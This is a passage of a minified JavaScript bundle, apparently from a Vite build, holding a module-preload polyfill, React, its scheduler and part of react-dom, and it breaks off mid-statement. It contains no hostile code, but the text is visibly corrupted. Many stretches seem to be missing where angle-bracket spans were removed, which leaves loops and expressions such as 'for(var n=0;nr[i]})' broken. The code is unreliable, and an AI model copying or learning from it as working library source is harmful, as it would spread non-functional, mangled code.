var cS=Object.defineProperty;var uS=(e,t,n)=>t in e?cS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Cf=(e,t,n)=>uS(e,typeof t!="symbol"?t+"":t,n);function dS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Q2={exports:{}},Yu={},J2={exports:{}},Se={};/** * @license React * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Qo=Symbol.for("react.element"),fS=Symbol.for("react.portal"),mS=Symbol.for("react.fragment"),pS=Symbol.for("react.strict_mode"),hS=Symbol.for("react.profiler"),xS=Symbol.for("react.provider"),vS=Symbol.for("react.context"),gS=Symbol.for("react.forward_ref"),yS=Symbol.for("react.suspense"),bS=Symbol.for("react.memo"),wS=Symbol.for("react.lazy"),Av=Symbol.iterator;function jS(e){return e===null||typeof e!="object"?null:(e=Av&&e[Av]||e["@@iterator"],typeof e=="function"?e:null)}var ew={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},tw=Object.assign,nw={};function ps(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}ps.prototype.isReactComponent={};ps.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};ps.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function rw(){}rw.prototype=ps.prototype;function Ch(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}var Ph=Ch.prototype=new rw;Ph.constructor=Ch;tw(Ph,ps.prototype);Ph.isPureReactComponent=!0;var Ov=Array.isArray,iw=Object.prototype.hasOwnProperty,Eh={current:null},aw={key:!0,ref:!0,__self:!0,__source:!0};function sw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)iw.call(t,r)&&!aw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Z=$[K];if(0>>1;Ki(be,F))yei(G,be)?($[K]=G,$[ye]=F,K=ye):($[K]=be,$[de]=F,K=de);else if(yei(G,F))$[K]=G,$[ye]=F,K=ye;else break e}}return H}function i($,H){var F=$.sortIndex-H.sortIndex;return F!==0?F:$.id-H.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w($){for(var H=n(u);H!==null;){if(H.callback===null)r(u);else if(H.startTime<=$)r(u),H.sortIndex=H.expirationTime,t(c,H);else break;H=n(u)}}function j($){if(g=!1,w($),!x)if(n(c)!==null)x=!0,M(N);else{var H=n(u);H!==null&&W(j,H.startTime-$)}}function N($,H){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var F=p;try{for(w(H),f=n(c);f!==null&&(!(f.expirationTime>H)||$&&!O());){var K=f.callback;if(typeof K=="function"){f.callback=null,p=f.priorityLevel;var Z=K(f.expirationTime<=H);H=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(H)}else r(c);f=n(c)}if(f!==null)var oe=!0;else{var de=n(u);de!==null&&W(j,de.startTime-H),oe=!1}return oe}finally{f=null,p=F,h=!1}}var z=!1,k=null,S=-1,A=5,_=-1;function O(){return!(e.unstable_now()-_$||125<$?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):A=0<$?Math.floor(1e3/$):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function($){switch(p){case 1:case 2:case 3:var H=3;break;default:H=p}var F=p;p=H;try{return $()}finally{p=F}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function($,H){switch($){case 1:case 2:case 3:case 4:case 5:break;default:$=3}var F=p;p=$;try{return H()}finally{p=F}},e.unstable_scheduleCallback=function($,H,F){var K=e.unstable_now();switch(typeof F=="object"&&F!==null?(F=F.delay,F=typeof F=="number"&&0K?($.sortIndex=F,t(u,$),n(c)===null&&$===n(u)&&(g?(v(S),S=-1):g=!0,W(j,F-K))):($.sortIndex=Z,t(c,$),x||h||(x=!0,M(N))),$},e.unstable_shouldYield=O,e.unstable_wrapCallback=function($){var H=p;return function(){var F=p;p=H;try{return $.apply(this,arguments)}finally{p=F}}}})(fw);dw.exports=fw;var TS=dw.exports;/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var MS=m,pn=TS;function ee(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Lm=Object.prototype.hasOwnProperty,LS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Mv={},Lv={};function IS(e){return Lm.call(Lv,e)?!0:Lm.call(Mv,e)?!1:LS.test(e)?Lv[e]=!0:(Mv[e]=!0,!1)}function DS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function RS(e,t,n,r){if(t===null||typeof t>"u"||DS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Oh=/[\-:]([a-z])/g;function Th(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Mh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==s[l]){var c=` `+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{_f=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Zs(e):""}function $S(e){switch(e.tag){case 5:return Zs(e.type);case 16:return Zs("Lazy");case 13:return Zs("Suspense");case 19:return Zs("SuspenseList");case 0:case 2:case 15:return e=Af(e.type,!1),e;case 11:return e=Af(e.type.render,!1),e;case 1:return e=Af(e.type,!0),e;default:return""}}function $m(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case _a:return"Fragment";case Ea:return"Portal";case Im:return"Profiler";case Lh:return"StrictMode";case Dm:return"Suspense";case Rm:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case hw:return(e.displayName||"Context")+".Consumer";case pw:return(e._context.displayName||"Context")+".Provider";case Ih:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Dh:return t=e.displayName||null,t!==null?t:$m(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return $m(e(t))}catch{}}return null}function BS(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return $m(t);case 8:return t===Lh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function vw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function FS(e){var t=vw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function zl(e){e._valueTracker||(e._valueTracker=FS(e))}function gw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=vw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Cc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Bm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Dv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function yw(e,t){t=t.checked,t!=null&&Mh(e,"checked",t,!1)}function Fm(e,t){yw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Wm(e,t.type,n):t.hasOwnProperty("defaultValue")&&Wm(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Rv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Wm(e,t,n){(t!=="number"||Cc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Qs=Array.isArray;function Va(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=Sl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function ho(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var io={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},WS=["Webkit","ms","Moz","O"];Object.keys(io).forEach(function(e){WS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),io[t]=io[e]})});function Nw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||io.hasOwnProperty(e)&&io[e]?(""+t).trim():t+"px"}function kw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Nw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var US=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Hm(e,t){if(t){if(US[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(ee(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(ee(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(ee(61))}if(t.style!=null&&typeof t.style!="object")throw Error(ee(62))}}function Km(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function Rh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Ha=null,Ka=null;function Fv(e){if(e=tl(e)){if(typeof qm!="function")throw Error(ee(280));var t=e.stateNode;t&&(t=Qu(t),qm(e.stateNode,e.type,t))}}function zw(e){Ha?Ka?Ka.push(e):Ka=[e]:Ha=e}function Sw(){if(Ha){var e=Ha,t=Ka;if(Ka=Ha=null,Fv(e),t)for(e=0;e>>=0,e===0?32:31-(eC(e)/tC|0)|0}var Cl=64,Pl=4194304;function Js(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Ac(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Js(l):(s&=o,s!==0&&(r=Js(s)))}else o=n&~i,o!==0?r=Js(o):s!==0&&(r=Js(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Jo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function aC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=so),Xv=" ",Zv=!1;function Kw(e,t){switch(e){case"keyup":return TC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Yw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Aa=!1;function LC(e,t){switch(e){case"compositionend":return Yw(t);case"keypress":return t.which!==32?null:(Zv=!0,Xv);case"textInput":return e=t.data,e===Xv&&Zv?null:e;default:return null}}function IC(e,t){if(Aa)return e==="compositionend"||!Kh&&Kw(e,t)?(e=Vw(),dc=Uh=oi=null,Aa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=tg(n)}}function Zw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Zw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Qw(){for(var e=window,t=Cc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Cc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function HC(e){var t=Qw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Zw(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=ng(n,s);var o=ng(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Oa=null,ep=null,lo=null,tp=!1;function rg(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;tp||Oa==null||Oa!==Cc(r)||(r=Oa,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),lo&&wo(lo,r)||(lo=r,r=Mc(ep,"onSelect"),0La||(e.current=op[La],op[La]=null,La--)}function Be(e,t){La++,op[La]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function es(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Ic(){Ue(Qt),Ue($t)}function ug(e,t,n){if($t.current!==ki)throw Error(ee(168));Be($t,t),Be(Qt,n)}function oj(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(ee(108,BS(e)||"Unknown",i));return Ze({},n,r)}function Dc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function dg(e,t,n){var r=e.stateNode;if(!r)throw Error(ee(169));n?(e=oj(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,Ju=!1,Hf=!1;function lj(e){jr===null?jr=[e]:jr.push(e)}function rP(e){Ju=!0,lj(e)}function _i(){if(!Hf&&jr!==null){Hf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e>=o,i-=o,kr=1<<32-Kn(t)+i|n<S?(A=k,k=null):A=k.sibling;var _=p(v,k,w[S],j);if(_===null){k===null&&(k=A);break}e&&k&&_.alternate===null&&t(v,k),b=s(_,b,S),z===null?N=_:z.sibling=_,z=_,k=A}if(S===w.length)return n(v,k),Ke&&$i(v,S),N;if(k===null){for(;SS?(A=k,k=null):A=k.sibling;var O=p(v,k,_.value,j);if(O===null){k===null&&(k=A);break}e&&k&&O.alternate===null&&t(v,k),b=s(O,b,S),z===null?N=O:z.sibling=O,z=O,k=A}if(_.done)return n(v,k),Ke&&$i(v,S),N;if(k===null){for(;!_.done;S++,_=w.next())_=f(v,_.value,j),_!==null&&(b=s(_,b,S),z===null?N=_:z.sibling=_,z=_);return Ke&&$i(v,S),N}for(k=r(v,k);!_.done;S++,_=w.next())_=h(k,v,S,_.value,j),_!==null&&(e&&_.alternate!==null&&k.delete(_.key===null?S:_.key),b=s(_,b,S),z===null?N=_:z.sibling=_,z=_);return e&&k.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===_a&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case kl:e:{for(var N=w.key,z=b;z!==null;){if(z.key===N){if(N=w.type,N===_a){if(z.tag===7){n(v,z.sibling),b=i(z,w.props.children),b.return=v,v=b;break e}}else if(z.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&pg(N)===z.type){n(v,z.sibling),b=i(z,w.props),b.ref=Is(v,z,w),b.return=v,v=b;break e}n(v,z);break}else t(v,z);z=z.sibling}w.type===_a?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=yc(w.type,w.key,w.props,null,v.mode,j),j.ref=Is(v,b,w),j.return=v,v=j)}return o(v);case Ea:e:{for(z=w.key;b!==null;){if(b.key===z)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Jf(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return z=w._init,y(v,b,z(w._payload),j)}if(Qs(w))return x(v,b,w,j);if(As(w))return g(v,b,w,j);Ll(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Qf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var ns=fj(!0),mj=fj(!1),Bc=Ei(null),Fc=null,Ra=null,Zh=null;function Qh(){Zh=Ra=Fc=null}function Jh(e){var t=Bc.current;Ue(Bc),e._currentValue=t}function up(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function qa(e,t){Fc=e,Zh=Ra=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(qt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Zh!==e)if(e={context:e,memoizedValue:t,next:null},Ra===null){if(Fc===null)throw Error(ee(308));Ra=e,Fc.dependencies={lanes:0,firstContext:e}}else Ra=Ra.next=e;return t}var Ki=null;function ex(e){Ki===null?Ki=[e]:Ki.push(e)}function pj(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,ex(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function tx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function hj(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,ex(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function mc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Bh(e,n)}}function hg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var 